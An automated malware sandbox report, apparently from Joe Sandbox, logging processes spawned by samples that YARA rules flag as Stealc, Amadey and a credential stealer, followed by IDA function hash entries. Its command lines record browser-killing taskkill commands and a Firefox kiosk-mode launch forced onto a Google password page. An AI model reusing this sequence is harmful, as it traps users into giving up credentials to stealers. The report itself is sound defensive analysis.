Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:19:31
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:19:32
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002748001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002748001\num.exe"
Imagebase:	0xa50000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000000.2984929700.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000000.2984970513.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.3007015079.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.3000892986.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:19:33
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffd276fa-ed93-4d2f-b2e5-111fb53225f6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234dec6eb10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:19:33
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"
Imagebase:	0x3f0000
File size:	2'934'272 bytes
MD5 hash:	BCE38B95D18FB00988F62A035BFE7634
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3249825676.00000000012CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3248585111.00000000012C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:19:38
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 3428 -prefMapHandle 3956 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22fb6704-120d-4177-a90b-1edee1b250d6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234f1312a10 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	20:19:42
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"
Imagebase:	0xa20000
File size:	2'086'912 bytes
MD5 hash:	099D997BEF4D9CC5BDD88ED65AF37B16
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3246382024.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.3124725188.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3255449606.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	20:19:51
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe"
Imagebase:	0x430000
File size:	919'552 bytes
MD5 hash:	493ACA6BC14CAF688147C5ABC24D08AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	20:19:53
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:19:53
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:19:58
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe"
Imagebase:	0xcb0000
File size:	2'820'096 bytes
MD5 hash:	15A0A8113FA863F5388159141EBEC606
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:20:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002748001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002748001\num.exe"
Imagebase:	0xa50000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.3262528586.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.3262383199.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3337935516.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3340336007.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3336590908.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	20:20:02
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe"
Imagebase:	0xef0000
File size:	1'926'144 bytes
MD5 hash:	16C41103653669CEE6886CFDAE5F778F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000026.00000003.3306511315.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000026.00000002.3367199801.0000000000EF1000.00000040.00000001.01000000.0000001E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	20:20:09
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"
Imagebase:	0x3f0000
File size:	2'934'272 bytes
MD5 hash:	BCE38B95D18FB00988F62A035BFE7634
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:20:15
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	20:20:15
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	20:20:15
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe"
Imagebase:	0x9a0000
File size:	2'820'096 bytes
MD5 hash:	15A0A8113FA863F5388159141EBEC606
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	20:20:17
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	20:20:17
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	20:20:18
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe"
Imagebase:	0x30000
File size:	1'926'144 bytes
MD5 hash:	16C41103653669CEE6886CFDAE5F778F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	20:20:19
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x110000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	20:20:19
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	20:20:19
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"
Imagebase:	0xa20000
File size:	2'086'912 bytes
MD5 hash:	099D997BEF4D9CC5BDD88ED65AF37B16
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00CCF6A7 Relevance: 1.2, Instructions: 1197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CC2000, based on PE: false

Associated: 00000001.00000003.2274015399.0000000000CC2000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cc5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59f25d2c7d6ba161ad6c6c976b355974fd6ed0449fa94e76f172c2ded99b7463
Instruction ID: cb044feccd4dafbe41157afe036e83286718255ec468227e4d2bc34f1ee3efa6
Opcode Fuzzy Hash: 59f25d2c7d6ba161ad6c6c976b355974fd6ed0449fa94e76f172c2ded99b7463
Instruction Fuzzy Hash: DD32529694E7C15FEB0347765C756A13FB0AE23214B2F06EBC4C1CB4A3E1085A5AE763

Function 00CCF6A7 Relevance: 1.2, Instructions: 1197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cc5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f323abe0243b4bb4f3d94dfc697a46c3862db7e69335d050f97283535523340d
Instruction ID: cb044feccd4dafbe41157afe036e83286718255ec468227e4d2bc34f1ee3efa6
Opcode Fuzzy Hash: f323abe0243b4bb4f3d94dfc697a46c3862db7e69335d050f97283535523340d
Instruction Fuzzy Hash: DD32529694E7C15FEB0347765C756A13FB0AE23214B2F06EBC4C1CB4A3E1085A5AE763

Function 00CC7F2C Relevance: .5, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CC2000, based on PE: false

Associated: 00000001.00000003.2274015399.0000000000CC2000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cc5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed14b12c23123f97e08e1bcb6f2a2c8fbee4bbd0b73afa7fc02f2cb912cd2dd
Instruction ID: 53cc41331feb7d9c6a95c4445e32556bfcdb2d3594a9703c098cca4e0f8725db
Opcode Fuzzy Hash: 4ed14b12c23123f97e08e1bcb6f2a2c8fbee4bbd0b73afa7fc02f2cb912cd2dd
Instruction Fuzzy Hash: AF81A36140F7C59FD7078B748C6A686BFB0AE13254B1E85EBC0D0CF4A3D649491EC762

Function 00CC7F2C Relevance: .5, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cc5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed14b12c23123f97e08e1bcb6f2a2c8fbee4bbd0b73afa7fc02f2cb912cd2dd
Instruction ID: 53cc41331feb7d9c6a95c4445e32556bfcdb2d3594a9703c098cca4e0f8725db
Opcode Fuzzy Hash: 4ed14b12c23123f97e08e1bcb6f2a2c8fbee4bbd0b73afa7fc02f2cb912cd2dd
Instruction Fuzzy Hash: AF81A36140F7C59FD7078B748C6A686BFB0AE13254B1E85EBC0D0CF4A3D649491EC762

Function 00CD5E18 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CC2000, based on PE: false

Associated: 00000001.00000003.2274015399.0000000000CC2000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cc5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddec718afdd6c27e651db108c599f3ba06b9de9367a4e4dad42b85d90adc04f7
Instruction ID: a7236a92f5706717e5b7d12a12f65a44f5a1966686eb441a8f69089f9676f882
Opcode Fuzzy Hash: ddec718afdd6c27e651db108c599f3ba06b9de9367a4e4dad42b85d90adc04f7
Instruction Fuzzy Hash: A29134310097D68FCB17CF78C9A5A96BFA1BF03310B1C46DED9C14E263C2616656CB5A

Function 00CD5E18 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cc5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2353439d97729d2730de4d7745cd45c68642200f18f08db326e3a9a3304c9262
Instruction ID: a7236a92f5706717e5b7d12a12f65a44f5a1966686eb441a8f69089f9676f882
Opcode Fuzzy Hash: 2353439d97729d2730de4d7745cd45c68642200f18f08db326e3a9a3304c9262
Instruction Fuzzy Hash: A29134310097D68FCB17CF78C9A5A96BFA1BF03310B1C46DED9C14E263C2616656CB5A

Function 00CF5C30 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2276102301.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CEE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cee000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ace26c6328e66b3bbcbf472304b5459231d09ddac204dd77dd758d3e9ac06e
Instruction ID: 0271b445be3c0045d0b7e3a108c4a0eff99f9444d034e685dd6e99a5a89f9f49
Opcode Fuzzy Hash: 19ace26c6328e66b3bbcbf472304b5459231d09ddac204dd77dd758d3e9ac06e
Instruction Fuzzy Hash: 50A1F36240EBC84FD7539B749969BA13FB06F17214F1E40DBC2D48F4A3E2198A1AC767

Analysis Process: Z3WVQPAQZN7WXE31OIKO79M3XY.exePID: 6484, Parent PID: 1048COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	27.3%
Signature Coverage:	6.1%
Total number of Nodes:	33
Total number of Limit Nodes:	2

Executed Functions

Function 00AEF4BC Relevance: 1.6, APIs: 1, Instructions: 119
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00AEF4BC

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 135cedee62efe02b2124c1bca309a6335a24eb212f1a0ad170aa6dd853b7b2e6
Instruction ID: 4539885429c6fb7ba52224bd5074fd880c3a75d02f983cbace84efee54fb5e42
Opcode Fuzzy Hash: 135cedee62efe02b2124c1bca309a6335a24eb212f1a0ad170aa6dd853b7b2e6
Instruction Fuzzy Hash: 143153B260C700AFD3016F1AEC8067AFBE9EFD9760F26482DE2D5C7610D73144418663

Function 0096B9C8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
